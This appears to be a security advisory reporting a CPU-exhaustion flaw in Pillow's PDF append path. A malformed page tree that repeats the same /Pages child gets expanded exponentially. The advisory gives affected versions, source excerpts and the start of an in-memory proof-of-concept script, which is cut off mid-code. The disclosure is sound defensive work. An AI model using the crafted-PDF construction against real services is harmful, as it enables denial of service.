Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

### Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references. In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds. This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion. ### Details #### Affected versions - Package: `Pillow` - Ecosystem: `pip` / PyPI - Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling - Runtime-tested affected release: `12.3.0` - Runtime-tested affected development version: `13.0.0.dev0` - Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054` - Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81` - Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD` - Likely affected range: `>= 5.1.0` - Patched versions: none known Evidence fact strings: - Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py `5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`. #### Technical details The reachable path is: 1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path: ```python Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) ``` 2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`: ```python is_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") ``` 3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree: ```python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] ``` 4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references: ```python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages ``` 5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list. The missing invariant is: ```text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages. ``` The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees. ### PoC Environment used for validation: - OS/runtime: Linux, Python `3.13.11` - Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Latest release tested: Pillow `12.3.0` - The proof uses only synthetic in-memory PDFs and does not contact the network. Save this as `poc_pillow_pdf_page_tree_dag.py`: ```python #!/usr/bin/env python3 from __future__ import annotations import io import json import sys import time from PIL import Image, PdfParser import PIL def make_page_tree_pdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError("fanout must be 1 or 2") objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"] for object_id in range(2, depth + 3): next_id = object_id + 1 kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout)) parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode() objects.append…